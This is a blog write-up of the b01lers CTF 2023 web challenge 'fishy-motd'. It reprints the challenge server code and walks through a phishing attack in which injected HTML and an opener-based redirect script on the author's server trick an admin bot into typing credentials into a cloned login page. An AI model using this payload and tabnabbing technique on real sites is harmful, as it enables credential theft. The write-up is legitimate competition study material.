b01lers CTF 2023 Write Up

Posted on Mar 19, 2023

Summary

Cause I was lazy, I didn’t do ctf for a long time. If i say “cause I was busy”, it looks fucking stupid. When I’m solving, the time of ctf is only 5 hours, so i just decided to solve the web challenge


fishy-motd 263 Points

I just created a tool to deploy messages to server admins in our company. They *love* clicking on them too!
http://ctf.b01lers.com:5110
Author: 0xMihir

the description is as above

import fastify from 'fastify';
import fastifyFormbody from '@fastify/formbody';
import fastifyStatic from '@fastify/static';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
import puppeteer from 'puppeteer';
import { nanoid } from 'nanoid';

let messages = {}

const server = fastify();

server.register(fastifyFormbody);
server.register(fastifyStatic, {
    root: path.join(path.dirname(fileURLToPath(import.meta.url)), 'public'),
    prefix: '/public/'
});

const flag = process.env.FLAG || 'flag{fake_flag}';
const port = 5000;
const user = process.env.ADMIN_USER || 'admin';
const pass = process.env.ADMIN_PASS || 'pass';

server.get('/', (req, res) => {
    res.sendFile('index.html')
});

server.get('/style.css', (req, res) => {
    res.sendFile('style.css')
});

server.get('/login', (req, res) => {
    const id = req.query.motd;
    if (!id) {
        fs.readFile('./login.html', 'utf8', (err, data) => {
            if (err) {
                console.log(err);
                res.status(500).send('Internal server error, please open a ticket');
            }
            else {
                res.type('text/html').send(data.toString().replace('{{motd}}', 'Welcome to the server!'));
            }
        });
    }
    else {
        if (id in messages) {
            fs.readFile('./login.html', 'utf8', (err, data) => {
                if (err) {
                    console.log(err);
                    res.status(500).send('Internal server error, please open a ticket');
                }
                else {
                    res.type('text/html').send(data.toString().replace('{{motd}}', messages[id]));
                }
            });
        } else {
            res.send('MOTD not found');
        }
    }
});

server.post('/login', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    if (username === user && password === pass) {
        res.send(flag);
    }
    else {
        res.send('Incorrect username or password');
    }
});

server.get('/start', async (req, res) => {
    const id = req.query.motd;
    if (id && id in messages) {
        try {
            const result = await adminBot(id);
            if (result.error) {
                res.send(result.error)
            } else {
                res.send('Hope everyone liked your message!')
            }
        } catch (err) {
            console.log(err);
            res.send('Something went wrong, please open a ticket');
        }
    } else {
        res.send('MOTD not found');
    }
});

server.post('/motd', (req, res) => {
    const motd = req.body.motd;
    const id = nanoid();
    messages[id] = motd;
    fs.readFile('./motd.html', 'utf8', (err, data) => {
        if (err) {
            console.log(err);
            res.status(500).send('Internal server error, please open a ticket');
        }
        else {
            res.type('text/html').send(data.toString().replaceAll('{{id}}', id));
        }
    });
})

server.get('/motd', (req, res) => {
    res.send('Please use the form to submit a message of the day.');
});

const adminBot = async (id) => {
    const browser = await puppeteer.launch({
        headless: true, // Uncomment below if the sandbox is causing issues
        // args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']
    })
    const page = await browser.newPage();
    await page.setViewport({ width: 800, height: 600 });
    const url = `http://localhost:${port}/login?motd=${id}`;
    await page.goto(url);
    await page.mouse.click(10, 10);
    await new Promise(r => setTimeout(r, 1000));
    try {
        if (url !== await page.evaluate(() => window.location.href)) {
            return { error: "Hey! Something's fishy here!" };
        }
    } catch (err) {
        return { error: "Hey! Something's fishy here!" };
    }
    await new Promise(r => setTimeout(r, 5000));
    await page.mouse.click(420, 280);
    await page.keyboard.type(user);
    await page.mouse.click(420, 320);
    await page.keyboard.type(pass);
    await page.mouse.click(420, 360);
    await new Promise(r => setTimeout(r, 1000));
    await browser.close();
    messages[id] = undefined;
    return { error: null };
}

server.listen({ port, host: '0.0.0.0' }, (err, address) => {
    if (err) {
        console.error(err);
        process.exit(1);
    }
    console.log(`Server listening at ${address}`);
});

the condition of get a flag is log-in with an account of admin but we can’t log in normally because we can’t know an account of admin. but there is admin bot. the admin bot clicks specific coordinates, inputs the admin’s ID and password, and logs in.

Also, in the login page, we can insert the motd value we created, and HTML code can be inserted via this logic.

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'; form-action 'self'" />

on the login page, CSP is set as above. the script can’t be executed because default-src is none. also, since form-src is self, even if an arbitrary form tag is added, data is not received by the personal server.

    await page.mouse.click(10, 10);

// (skip)
    await new Promise(r => setTimeout(r, 5000));
    await page.mouse.click(420, 280);
    await page.keyboard.type(user);
    await page.mouse.click(420, 320);
    await page.keyboard.type(pass);
    await page.mouse.click(420, 360);

but here’s the strange part. The admin bot clicks once on coordinates (10,10). after that, click the coordinates (10, 10) above, and after 5 seconds, enter the account of admin in the login form and log in.

If we insert a personal server link at coordinates (10, 10) using the a tag, the admin bot will click the link and move to the personal server. Since there is an interval of 5 seconds here, it is enough time for all pages to be rendered.

Copy the login.html file, upload it to the personal server, and move the admin bot here to induce the admin account information to be transmitted to the personal server.

I created login.html on my personal server as above.

    try {
        if (url !== await page.evaluate(() => window.location.href)) {
            return { error: "Hey! Something's fishy here!" };
        }
    } catch (err) {
        return { error: "Hey! Something's fishy here!" };
    }

but in the admim bot, the logic to check the current origin is added as above. So we shouldn’t go to the current page via the private server link. Open the private server in a new window using the blank option, and stay on the origin of the admin server for 1 second. but in this case, the personal server opens in a new window, so the log-in logic is just done on the problem server.

but we can use the opener object to redirect an existing window to a desired location. Since the opener object points to the window at the existing window that opened itself, the existing window can also be redirected to the private server by using opener.location.href on the private server.

<!-- https://pocas.kr/re.html -->
<script>
    setTimeout(() => {opener.location.href='/login.html'}, 2000)
</script>

So I uploaded the redirect file as above

<a href="http://pocas.kr/re.html" target="_blank" rel="opener">CSRF</a>

Now, create motd using the above payload and pass it to the admin bot.

finally account is sent to my server

❯ curl -X POST http://ctf.b01lers.com:5110/login -d "username=n01_5y54dm1n&password=7zzHuXRAp)uj@(qO@Zi0"
bctf{ph15h1ng_reel_w1th_0n3_e}
~